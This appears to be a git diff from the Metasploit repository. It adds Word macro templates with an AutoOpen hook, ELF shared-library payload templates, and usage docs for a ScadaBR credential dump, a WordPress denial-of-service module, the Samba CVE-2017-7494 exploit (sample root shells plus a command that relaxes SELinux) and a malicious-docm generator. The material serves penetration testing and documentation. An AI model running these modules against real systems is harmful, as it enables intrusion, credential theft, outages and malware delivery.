xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
Binary file not shown.
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/></Relationships>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00A31ED0" w:rsidRDefault="00366A6C"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r><w:t>DOCBODYGOESHER</w:t></w:r></w:p><w:sectPr w:rsidR="00A31ED0"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Calibri Light"><w:panose1 w:val="020F0302020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="differentiateMultirowTableHeaders" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0075759D"/><w:rsid w:val="000446F5"/><w:rsid w:val="00364989"/><w:rsid w:val="00366A6C"/><w:rsid w:val="003925D3"/><w:rsid w:val="00472204"/><w:rsid w:val="004929CB"/><w:rsid w:val="004937C6"/><w:rsid w:val="004E70C7"/><w:rsid w:val="00556042"/><w:rsid w:val="005C1470"/><w:rsid w:val="00634AFC"/><w:rsid w:val="0075759D"/><w:rsid w:val="008352C1"/><w:rsid w:val="008D18EE"/><w:rsid w:val="008F274A"/><w:rsid w:val="009337EB"/><w:rsid w:val="00965754"/><w:rsid w:val="00A31ED0"/><w:rsid w:val="00AA0D43"/><w:rsid w:val="00BD14BB"/><w:rsid w:val="00C22BA6"/><w:rsid w:val="00D4037B"/><w:rsid w:val="00DD6E1E"/><w:rsid w:val="00E636EA"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w15:chartTrackingRefBased/><w15:docId w15:val="{0E28A8EC-7E3E-41BD-9D1E-ADE8B995AEE4}"/></w:settings>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:optimizeForBrowser/><w:relyOnVML/><w:allowPNG/></w:webSettings>
|
|
@ -0,0 +1,92 @@
|
|||
; build with:
|
||||
; nasm elf_dll_armle_template.s -f bin -o template_armle_linux_dll.bin
|
||||
|
||||
BITS 32
|
||||
org 0
|
||||
ehdr:
|
||||
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0
|
||||
dw 3 ; e_type = ET_DYN
|
||||
dw 40 ; e_machine = EM_ARMLE
|
||||
dd 1 ; e_version = EV_CURRENT
|
||||
dd _start ; e_entry = _start
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd shdr - $$ ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 2 ; e_phnum
|
||||
dw shentsize ; e_shentsize
|
||||
dw 2 ; e_shnum
|
||||
dw 1 ; e_shstrndx
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr:
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
dd 2 ; p_type = PT_DYNAMIC
|
||||
dd 7 ; p_flags = rwx
|
||||
dd dynsection ; p_offset
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsz ; p_filesz
|
||||
dd dynsz ; p_memsz
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
shdr:
|
||||
dd 1 ; sh_name
|
||||
dd 6 ; sh_type = SHT_DYNAMIC
|
||||
dd 0 ; sh_flags
|
||||
dd dynsection ; sh_addr
|
||||
dd dynsection ; sh_offset
|
||||
dd dynsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 8 ; sh_addralign
|
||||
dd 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
dd 0 ; sh_flags
|
||||
dd strtab ; sh_addr
|
||||
dd strtab ; sh_offset
|
||||
dd strtabsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 0 ; sh_addralign
|
||||
dd 0 ; sh_entsize
|
||||
dynsection:
|
||||
; DT_INIT
|
||||
dd 0x0c
|
||||
dd _start
|
||||
; DT_STRTAB
|
||||
dd 0x05
|
||||
dd strtab
|
||||
; DT_SYMTAB
|
||||
dd 0x06
|
||||
dd strtab
|
||||
; DT_STRSZ
|
||||
dd 0x0a
|
||||
dd 0
|
||||
; DT_SYMENT
|
||||
dd 0x0b
|
||||
dd 0
|
||||
; DT_NULL
|
||||
dd 0x00
|
||||
dd 0
|
||||
dynsz equ $ - dynsection
|
||||
|
||||
strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
global _start
|
||||
_start:
|
|
@ -0,0 +1,92 @@
|
|||
; build with:
|
||||
; nasm elf_dll_x86_template.s -f bin -o template_x86_linux_dll.bin
|
||||
|
||||
BITS 32
|
||||
org 0
|
||||
ehdr:
|
||||
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0
|
||||
dw 3 ; e_type = ET_DYN
|
||||
dw 3 ; e_machine = EM_386
|
||||
dd 1 ; e_version = EV_CURRENT
|
||||
dd _start ; e_entry = _start
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd shdr - $$ ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 2 ; e_phnum
|
||||
dw shentsize ; e_shentsize
|
||||
dw 2 ; e_shnum
|
||||
dw 1 ; e_shstrndx
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr:
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
dd 2 ; p_type = PT_DYNAMIC
|
||||
dd 7 ; p_flags = rwx
|
||||
dd dynsection ; p_offset
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsz ; p_filesz
|
||||
dd dynsz ; p_memsz
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
shdr:
|
||||
dd 1 ; sh_name
|
||||
dd 6 ; sh_type = SHT_DYNAMIC
|
||||
dd 0 ; sh_flags
|
||||
dd dynsection ; sh_addr
|
||||
dd dynsection ; sh_offset
|
||||
dd dynsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 8 ; sh_addralign
|
||||
dd 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
dd 0 ; sh_flags
|
||||
dd strtab ; sh_addr
|
||||
dd strtab ; sh_offset
|
||||
dd strtabsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 0 ; sh_addralign
|
||||
dd 0 ; sh_entsize
|
||||
dynsection:
|
||||
; DT_INIT
|
||||
dd 0x0c
|
||||
dd _start
|
||||
; DT_STRTAB
|
||||
dd 0x05
|
||||
dd strtab
|
||||
; DT_SYMTAB
|
||||
dd 0x06
|
||||
dd strtab
|
||||
; DT_STRSZ
|
||||
dd 0x0a
|
||||
dd 0
|
||||
; DT_SYMENT
|
||||
dd 0x0b
|
||||
dd 0
|
||||
; DT_NULL
|
||||
dd 0x00
|
||||
dd 0
|
||||
dynsz equ $ - dynsection
|
||||
|
||||
strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
global _start
|
||||
_start:
|
Binary file not shown.
Binary file not shown.
|
@ -17,8 +17,6 @@ RUN apk update && \
|
|||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
# needed as long as metasploit-framework.gemspec contains a 'git ls'
|
||||
git \
|
||||
ncurses \
|
||||
libcap \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
|
|
|
@ -0,0 +1,63 @@
|
|||
## Description
|
||||
|
||||
This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model.
|
||||
|
||||
This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
|
||||
|
||||
Installers:
|
||||
|
||||
* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/)
|
||||
* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/)
|
||||
* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/admin/http/scadabr_credential_dump`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `set username [USERNAME]`
|
||||
5. Do: `set password [PASSWORD]`
|
||||
6. Do: `run`
|
||||
7. You should get credentials
|
||||
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
[+] 172.16.191.166:8080 Authenticated successfully as 'admin'
|
||||
[+] 172.16.191.166:8080 Export successful (4436 bytes)
|
||||
[+] Found 5 users
|
||||
[*] Found weak credentials (admin:admin)
|
||||
[*] Found weak credentials (user:password)
|
||||
[*] Found weak credentials (zxcv:zxcv)
|
||||
|
||||
ScadaBR User Credentials
|
||||
========================
|
||||
|
||||
Username Password Hash (SHA1) Admin E-mail
|
||||
-------- -------- ----------- ----- ------
|
||||
admin admin d033e22ae348aeb5660fc2140aec35850c4da997 true admin@yourMangoDomain.com
|
||||
operator ef0cade28a5696433326749bb57c39104ca33550 false operator@localhost
|
||||
test 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 false test@localhost
|
||||
user password 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 true user@localhost
|
||||
zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 false zxcv@localhost
|
||||
|
||||
|
||||
ScadaBR Service Credentials
|
||||
===========================
|
||||
|
||||
Service Host Port Username Password
|
||||
------- ---- ---- -------- --------
|
||||
HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass
|
||||
SMTP 127.0.0.1 25 smtptestuser smtptestpass
|
||||
|
||||
[+] Config saved in: /root/.msf4/loot/20170527210941_default_172.16.191.166_scadabr.config_861842.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a Cross-site request forgery (CSRF) vulnerability in the [wp_ajax_update_plugin](https://core.trac.wordpress.org/changeset/38168)
|
||||
function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. This allows remote authenticated users to cause a denial of
|
||||
service (with /dev/random read operations).
|
||||
|
||||
You can find the vulnerable application like [4.5.3](https://wordpress.org/wordpress-4.5.3.tar.gz) from the
|
||||
[official website](https://wordpress.org/download/release-archive/)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/dos/http/wordpress_directory_traversal_dos.rb```
|
||||
3. Do: ```set RHOST [IP]```
|
||||
4. Do: ```set TARGETURI [WordPress path]```
|
||||
5. Do: ```set USERNAME [Valid Username]```
|
||||
6. Do: ```set PASSWORD [Valid Password]```
|
||||
7. Do: ```exploit```
|
||||
8. WordPress website should be down
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Wordpress 4.5.3 on Linux Mint 17.3
|
||||
|
||||
```
|
||||
msf auxiliary(wordpress_directory_traversal_dos) > exploit
|
||||
|
||||
[*] Checking if user "test" exists...
|
||||
[+] Username "test" is valid
|
||||
[*] Executing requests 1 - 5...
|
||||
[+] Finished executing requests 1 - 5
|
||||
[*] Executing requests 6 - 10...
|
||||
[+] Finished executing requests 6 - 10
|
||||
...
|
||||
[*] Executing requests 191 - 195...
|
||||
[+] Finished executing requests 191 - 195
|
||||
[*] Executing requests 196 - 200...
|
||||
[+] Finished executing requests 196 - 200
|
||||
[+] SUCCESS: /wordpress appears to be down
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,121 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library.
|
||||
Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements
|
||||
for this exploit to be successful:
|
||||
|
||||
1. Valid credentials
|
||||
2. Writeable folder in an accessible share
|
||||
3. Server-side path of the writeable folder
|
||||
|
||||
However, in some cases anonymous access with common filesystem locations can be used to automate exploitation.
|
||||
|
||||
A vulnerable Samba config may have a share similar to the following in `smb.conf`. This is a setup for 'easy' exploitation
|
||||
where no SMB options are required to be set:
|
||||
|
||||
```
|
||||
[exploitable]
|
||||
comment = CVE-2017-7494
|
||||
path = /tmp
|
||||
writable = yes
|
||||
browseable = yes
|
||||
guest ok = yes
|
||||
```
|
||||
|
||||
Verified on:
|
||||
|
||||
1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
|
||||
2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
|
||||
3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
|
||||
4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
|
||||
5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11)
|
||||
6. Ubuntu 14.04.5 x64 (Samba 4.3.9)
|
||||
7. Ubuntu 15.04 (Samba 4.1.13)
|
||||
8. Ubuntu 16.04 (Samba 4.3.11)
|
||||
* 1:4.3.11+dfsg-0ubuntu0.16.04.3 and older are vulnerable, fixed in [2:4.3.11+dfsg-0ubuntu0.16.04.7](https://launchpad.net/ubuntu/+source/samba/2:4.3.11+dfsg-0ubuntu0.16.04.7)
|
||||
9. Fedora 24 (Samba 4.4.13)
|
||||
|
||||
Currently not working against:
|
||||
|
||||
1. QNAP NAS Samba 4.4.9 on armv71
|
||||
2. WD MyClous NAS Samba 4.0.0rc5 armv71
|
||||
|
||||
### SELinux
|
||||
|
||||
Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload.
|
||||
|
||||
```
|
||||
echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } for pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc: denied { net_admin } for pid=959 comm="nmbd" capability=12 scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc: denied { execmem } for pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc: denied { execute } for pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/linux/samba/is_known_pipename```
|
||||
3. Do: ```set rhost [ip]```
|
||||
4. Do: ```set target [target #]```
|
||||
5. Do: ```exploit```
|
||||
|
||||
## Options
|
||||
|
||||
**SMB_SHARE_NAME**
|
||||
|
||||
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
|
||||
variable is non-blank, it will be preferred.
|
||||
|
||||
**SMB_SHARE_BASE**
|
||||
|
||||
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
|
||||
brute forced including:
|
||||
|
||||
1. /volume1
|
||||
2. /volume2
|
||||
3. /volume3
|
||||
4. /shared
|
||||
5. /mnt
|
||||
6. /mnt/usb
|
||||
7. /media
|
||||
8. /mnt/media
|
||||
9. /var/samba
|
||||
10. /tmp/home/home/shared
|
||||
|
||||
**SMB_FOLDER**
|
||||
|
||||
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
|
||||
variable is non-blank, it will be preferred.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2
|
||||
|
||||
```
|
||||
msf exploit(is_known_pipename) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.2.3.117:4444
|
||||
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
|
||||
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
|
||||
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
|
||||
[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
|
||||
[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so...
|
||||
[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),100(users)
|
||||
uname -a
|
||||
Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+
|
||||
```
|
||||
|
||||
### Ubuntu 16.04
|
||||
|
||||
```
|
||||
msf exploit(is_known_pipename) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.3:4444
|
||||
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
|
||||
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
|
||||
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
|
||||
[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500
|
||||
|
||||
id
|
||||
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
|
||||
```
|
|
@ -1,13 +1,16 @@
|
|||
|
||||
## Description
|
||||
|
||||
This module generates a macro-enabled Microsoft Office Word document. It does not target a specific
|
||||
CVE or vulnerability, this is more of a feature-abuse in Office, however this type of
|
||||
social-engineering attack still remains common today.
|
||||
This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a
|
||||
specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a
|
||||
popular type of social-engineering attack such as in ransomware.
|
||||
|
||||
There are many ways to create this type of malicious doc. The module injects the Base64-encoded
|
||||
payload in the comments field, which will get decoded back by the macro and executed as a Windows
|
||||
executable when the Office document is launched.
|
||||
By default, the module uses a built-in Office document (docx) as the template. It injects the
|
||||
Base64-encoded payload into the comments field, which will get decoded back by the macro and executed
|
||||
as a Windows executable when the Office document is launched.
|
||||
|
||||
If you do not wish to use the built-in docx template, you can also choose your own. Please see more
|
||||
details below.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
@ -22,58 +25,74 @@ Specifically, this module was tested specifically against:
|
|||
* Microsoft Office 2016.
|
||||
* Microsoft Office Word 15.29.1 (161215).
|
||||
|
||||
## Building the Office Document Template
|
||||
|
||||
It is recommended that you build your Office document (docx) template from either one of these
|
||||
applications:
|
||||
|
||||
* Google Docs
|
||||
* Microsoft Office Word
|
||||
|
||||
**Google Docs**
|
||||
|
||||
Google Docs is ideal in case you don't have Microsoft Office available.
|
||||
|
||||
Before you start, make sure you have a Gmail account.
|
||||
|
||||
Next, to create a new document, please go to the following:
|
||||
|
||||
[https://docs.google.com/document/?usp=mkt_docs](https://docs.google.com/document/?usp=mkt_docs)
|
||||
|
||||
To save the document as a docx on Google docs:
|
||||
|
||||
1. Click on File
|
||||
2. Go to Download as
|
||||
3. Click on Microsoft Word (.docx)
|
||||
|
||||
**Microsoft Office Word**
|
||||
|
||||
If you already have Microsoft Office, you can use it to create a docx file and use it as a template.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
**To use the default template**
|
||||
|
||||
1. ```use exploit/multi/fileformat/office_word_macro```
|
||||
2. ```set PAYLOAD [PAYLOAD NAME]```
|
||||
3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc)
|
||||
3. Configure the rest of the settings accordingly (LHOST, LPORT, etc)
|
||||
4. ```exploit```
|
||||
5. The module should generate the malicious docm.
|
||||
|
||||
**To use the custom template**
|
||||
|
||||
1. ```use exploit/multi/fileformat/office_word_macro```
|
||||
2. ```set PAYLOAD [PAYLOAD NAME]```
|
||||
3. ```set CUSTOMTEMPLATE [DOCX PATH]```
|
||||
4. Configure the rest of the settings accordingly
|
||||
5. ```exploit```
|
||||
6. The module should generate the malicious docm.
|
||||
|
||||
## Options
|
||||
|
||||
**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more.
|
||||
|
||||
## Demo
|
||||
|
||||
